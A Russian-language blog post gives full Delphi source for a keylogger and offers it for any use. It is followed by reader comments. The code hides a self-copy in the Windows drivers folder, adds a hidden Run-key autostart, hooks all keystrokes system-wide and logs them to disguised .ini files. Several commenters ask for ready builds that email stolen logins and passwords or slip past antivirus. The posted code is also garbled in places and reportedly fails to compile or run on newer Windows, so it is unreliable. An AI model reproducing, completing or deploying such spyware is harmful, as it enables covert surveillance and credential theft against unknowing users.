Клавиатурный шпион.
Вот исходничек простенького клавиатурника можете делать с ним что хотите, главное не зазнавайтесь! К основным его преемуществам могу отнести то что он очень мал для проги такого класса (19кб), что кстати ломает убеждение о грамоздкости Делфи прог, и занимает мало места в оперативке (обычно 1-1,5мб)!
Программа абсолютно безопастная и предназдначенна только для изучения! 🙂
Вот код:
program ntrty;
// KBS ver. 1.0
//
// Клавиатурный шпион, DE@l Group (c) 2005-2007;
// При первом запуске проги происходит самокопирование
// программы в путь dir с именем name! И прописывание
// в автозагрузку той копии проги!
// Про запуске проги через автозапуск прога кидает
// файлу в путь: %USERPROFILE% с именами name+номер+ext
// при каждом запуске создаётся файл со следующим по
// порядку номером, а при достижении файла размера в
// MaxFileSize создаётся следующий файл!
// При запуске проги в ручную файл с отчётом
// создаётся в каталоге с прогой!
// 13.04.2007 (пятница)
uses Windows;
const
dir = 'C:\WINDOWS\system32\drivers\';
name = 'ntrty';
ext = '.ini';
ARCStr = 'cmd /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ';
MaxFileSize = 2048;
var
HkHnd : hHook;
FCh : file of Char;
line : longint;
hApp : THandle;
wClass : TWndClass;
wMSG : TMSG;
function WC(hInstance: HWND; style,ClsExtra,WndExtra:integer; ICON: hIcon; CURSOR: hCursor; Background: HBrush; ClassName,MenuName: string; Proc: Pointer): TWndClass;
var
wCls : TWNDClass;
begin
wCls.hInstance:=hInstance;
wCls.style:= style;
with wCls do
begin
hIcon := ICON;
lpfnWndProc := Proc;
hbrBackground := Background;
lpszClassName := PChar(ClassName);
hCursor := CURSOR;
cbClsExtra := ClsExtra;
cbWndExtra := WndExtra;
lpszMenuName := PChar(MenuName);
end;
Result:=wCls;
end;
function CreateWnd(wClass: TWndClass; hInstance: HWND; Caption: string; w,h: integer): HWND;
begin
Result:=CreateWindow(wClass.lpszClassName,
PChar(Caption),(0 or $C00000 or $800000 or
$400000 or $200000 or $100000 or $10000000),
Integer(DWORD($80000000)),Integer(DWORD($80000000)),
w, h, 0, 0, hInstance, nil);
end;
procedure lpWindow(Msg: TMsg);
begin
while GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;
function IntToStr(Int: integer): string;
begin
Str(Int, result);
end;
function FileExists(const FileName : String) : Boolean;
var
Code : Integer;
begin
Code := GetFileAttributes(PChar(FileName));
Result := (Code -1) and (16 and Code = 0);
end;
function GetName: string;
var
i : longint;
begin
i:=0;
repeat
Inc(i);
until not FileExists(name+IntToStr(i)+ext);
Result:=name+IntToStr(i)+ext;
end;
function Win32Check(RetVal: BOOL): BOOL;
begin
if not RetVal then GetLastError;
Result := RetVal;
end;
function GetCharFromVKey(vkey: Word): string;
var
keyst : TKeyboardState;
retcode : Integer;
begin
Win32Check(GetKeyboardState(keyst));
SetLength(Result, 2);
retcode := ToAscii(vkey,
MapVirtualKeyA(vkey, 0),
keyst, @Result[1],0);
case retcode of
0: Result := '';
1: SetLength(Result, 1);
2: ;
else
Result := '';
end;
end;
function HookPr(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
var
msg : PEVENTMSG;
b : Char;
s : string;
begin
if Code >= 0 then
begin
msg := Pointer(LParam);
if msg.message=256 then
begin
Inc(line);
s:=GetCharFromVKey(msg.paramL);
if Length(s)>0 then
begin
b:=s[1];
if (line mod 80)=0 then BlockWrite(FCh,#10#13,2);
BlockWrite(FCh,b,1);
end;
end;
if FileSize(FCh)>MaxFileSize then
begin
CloseFile(FCh);
AssignFile(FCh,GetName);
ReWrite(FCh)
end;
result := CallNextHookEx(HkHnd, code, WParam, LParam);
end;
end;
function WndMessageProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT; stdcall;
begin
case Msg of
1:
begin
if not FileExists(dir+name+'.exe') then
begin
Copyfile(PChar(paramstr(0)),dir+name+'.exe',BOOL(0));
WinExec(dir+name+'.exe',SW_Hide);
halt(0);
end;
WinExec(PChar(ARCStr+name+' /t REG_SZ /d '+dir+name+'.exe /f'),SW_Hide);
line:=0;
AssignFile(FCh,GetName);
ReWrite(FCh);
repeat
HkHnd := SetWindowsHookEx(0, @HookPr, hInstance, 0);
until HkHnd0;
end;
2:
begin
if HkHnd 0 then
UnhookWindowsHookEx(HkHnd);
CloseFile(FCh);
halt(0);
end;
end;
Result := DefWindowProc(hWnd,Msg,wParam,lParam);
end;
begin
wClass:=WC(hInstance,0,0,0,0,0,15,'MYCLASS','',@WndMessageProc);
RegisterClass(wClass);
hApp:=CreateWindow(wClass.lpszClassName, '',0,
Integer(DWORD($80000000)),
Integer(DWORD($80000000)),
0, 0, 0, 0, hInstance, nil);
if hApp=0 then
begin
UnregisterClass('MYCLASS',hInstance);
halt(0);
end;
lpWindow(wMsg);
end.
Этот код просто необходимо сохранить в текстовом файле с расширением .dpr и открыть в Делфи!
Я последний в программировании. Но мне понравилась эта статья.
Значит так, вот что я сделал
Взял этот код и сохранил с разришением .exe
Боюсь теперь запускать.. а ведь интересно че будет.
Не подскажите? Че мне делать? Не взорвется комп?
Arnold — ничего не будет. Тебе сначала надо оттрансилровать этот Делфийский код в бинарник, то есть скомпилить. Как это сделать помоему автор сказал =):
«Этот код просто необходимо сохранить в текстовом файле с расширением .dpr и открыть в Делфи!»
Хорошо. Сделаю когда появится делфи. 🙂
Вот так, благодаря статье, появились новые адепты Delphi. Успехов!
См. сюда: http://www.programmersforum.ru/showthread.php?t=772
от 10.11.06. т.е. плагиат (дико похоже код в архиве в посте от Сильванович Михаил).
З.Ы. Сходство поразительно!
Да ладно, открытае исходники использовались для создания программы. Все мы используем стандартные компоненты и наработанные исходники.
Так и меня смогут объвенить в плагиате, где-нибудь выложу исходники, а потом снова используя их. А потом куда-нибудь покажут пальцем, что вот они, исходники!!!
Самая первая ошибка — это C:\WINDOWS\system32\drivers\
А что если у пользователя системный диск не С: У меня например это E: Да и папка WINDOWS может называться по другому.
Если не предусмотреть такую ситуацию прога вылетит с ошибкой.
В остальном код будет достаточно интересен для тех кто собирается осваивать спай-программирование.
Выбор директории Винды делается одной операцией, если надо — вставят, а вот чтобы папка называлась не Windows..?
«Самая первая ошибка — это C:\WINDOWS\system32\drivers\
А что если у пользователя системный диск не С: У меня например это E: Да и папка WINDOWS может называться по другому.
Если не предусмотреть такую ситуацию прога вылетит с ошибкой.»
я не кодер
а если путь задать в виде %systemroot%\\system32\drivers\
???
Если не обратили внимания то это для всего лишь пример… Тем более я ля того и сделал это константой, что бы каждый мог написать своё, тем более не все знают что %переменная окружения%=возвращённая строк переменной… Короче вы типа поумничали, а я типа оправдался…
«а вот чтобы папка называлась не Windows..»
B Windows2000 эта папка называется помоему WinNT
«я не кодер
а если путь задать в виде %systemroot%\\system32\drivers\»
Буде работать только под правами админа, если их нет облом. В свой каталог винда (кроме Win9X-ME) писать не даст. А под админами работает большинство. Да и %systemroot% (тоже что и …\system32) вполне достаточно. Зачем нам drivers, мыже не драйвер ставим.
«Если не обратили внимания то это для всего лишь пример»
Идет нормальное обсуждение, иначе зачем здесь форма для коментов. Здесь же никто никого не поносит.
100% перваястрока и сразу же ошибка
взять хотябы системный каталог
var
dir:array[0..255] of char;
procedure //любая первая
getsystemdirectory(dir,MAX_PATH);// -системный каталог
А на Лазарусе под Линукс будет работать? Надыб попробовать.
У меня облом! когда в делфях запускаю выдаёт ошибку 🙁
Maney-Hacker о, здарова чувак!!!!!!!!!!!!!!!!!!!!!!!
ГыГы… Неожидал тебя сдесь увидеть!
Ребята! я в программировании ни в зуб ногой, может кто пришлет готовый вариант для домашнего использования и напишет как его устанавливать
salvadordaly@mail.ru
А к чему вы прислали эту ссылку. Что-то я или в конце рабочего дня дико туплю или может кому совсем не влом выслать её на почту.
Потjve как прога типа perfect keylogger 1.6.5.0 оказалась в многих вариациях с вирусами и теперь от них отбивается касперский, но это уже его проблемы т.к. за лицензию заплачено.
И так великие программисты!
Кто-нить все же может сделать что-нить толковое в решении вышеозвученой мною проблеме. Если кто-то хочет заработать на проблемах других это приветствуется.
Sasha, попробуйте задать ваш вопрос на форуме в разделе «безопасность» — http://programmersforum.ru/forumdisplay.php?f=6
Если вы укажите ссылку на эту статью, то это будет большой плюс.
Что обсуждаем?
HkHnd := SetWindowsHookEx(0, @HookPr, hInstance, 0);
Это функция установки хука. В качестве первого параметра передается 0, что эквивалентно константе WH_JOURNALRECORD
Кто хоть раз написал работающий кейлоггер поймет что это такое, кто нет объясню.
Ловушку (Хук) WH_JOURNALRECORD можно поставить из самого приложения только в WINDOWS 9X, в WIN 2000, XP и тем более VISTA, этот код просто работать не будет, надо писать отдельную DLL и вызывать (ставить) Хук от туда. К тому же WH_JOURNALRECORD жрет ресурсы немерено, так как эта ловушка срабатывает практически на любое действие системы, не только клавиатурное. Как тут кто -то заметил выше это лишь пример. Всем желающим забацать из него работающий кейлоггер — отбой.
ну, я сделала все так как было сказано и написано………ну, запустила прогу………..а как увидеть результат………………………!!!
В инете полно исходников с подробным описанием такой программы.
Например на wasm.ru Хоть там и ассемблер, есть куча интересных статей.
Почитал, статейку и коменты долго смеялся…. порадовали кодера….смешно…а все очень просто, слишком
За кем шпионть собираетесь?
Люди , скиньте пожалуйста мне на ящик исходники троянов, эксплоитов, шпионов написанных на делфи или с++ или перл)) буду очень признателен )) вот мыло : pov-5_27@bk.ru
[Error] KG.dpr(74): Operator not applicable to this operand type
[Error] KG.dpr(102): Illegal character in input file: ‘”’ ($94)
[Error] KG.dpr(106): Illegal character in input file: ‘”’ ($94)
[Error] KG.dpr(155): Undeclared identifier: ‘HkHnd0’
[Error] KG.dpr(159): Missing operator or semicolon
[Error] KG.dpr(168): Illegal character in input file: ‘”’ ($94)
[Error] KG.dpr(168): Not enough actual parameters
[Error] KG.dpr(170): Illegal character in input file: ‘”’ ($94)
[Error] KG.dpr(171): Constant expression violates subrange bounds
[Error] KG.dpr(173): Incompatible types: ‘Cardinal’ and ‘Pointer’
JA ne umeju programmirovatj, i chestno govorja vse vyshe opisannoe dlja menja neskoljko zaputano. ja prosto ishu programmu kototraya sohranjaet vse nabrannye znaki ( ili vse nazhatija klavish). Kto-nibudj mozhet podskazatj gde mozhno najti takuju programmu?
Please, ochenj nuzhno i kak mozhno skoree!!!!!
😆 lol
Без коментариев…. 💡
Парни нужна помощь нужен клавиатурный шпион который мне логи бы по почте присылал все основные находять антивиры помогите не бесплптно конечно biohazart@bk.ru
>>>все основные находять антивиры
Любой антивирус можно попросить лояльнее относитьмся к шпиону, для этого есть список исключений
Ох и опасненькие эти штучки. Начинающие весят свои компы, а любители, так сказать, пытаются подобное натравить на чужие.
абсурд какой то..что бы написать клавиатурный шпион не достаточно сохранить этот код….тут надо dll использовать….
Народ, мне тут курсовую задали, надо написать на дельфи кейлоггер, который мало того, что следит и сохраняет в файл все введённые с клавиатуры знаки, ещё следит за перемещением мыши + все это прога должна воспроизводить по сохранённому логу на экране о_О… До этого сам не дойду точно ).
Кто захочет помочь, буду премного благодарен: B1gBeArrr@yandex.ru
ппц чайниковые каменты жгут
есть проблемка в этом коде, запусти во время работы своей программы… к примеру медиа плеер виндовый
нажми на расширенной клавиатуре «paly\pause» и ппц система повиснет 😉 а переустановить хук не выйдет
народ скиньте пожалуйста готовую прогу что бы на вот это мыло приходили логины и пороли —>> bulka-55@list.ru
[QUOTE]
function FileExists(const FileName : String) : Boolean;
var
Code : Integer;
begin
Code := GetFileAttributes(PChar(FileName));
Result := (Code -1) and (16 and Code = 0);
end;[/QUOTE] ❓
Как это result:=(Code -1) and (16 and Code = 0);
Я насколько это в делфи? Скажите пожалуйста какой средой Вы пользуетесь… Хочу программирование освоить а среда это начало… Нотепад уже не катит)
Многие среды просто платные… А ломанными не хочу пользоваться. Спасибо!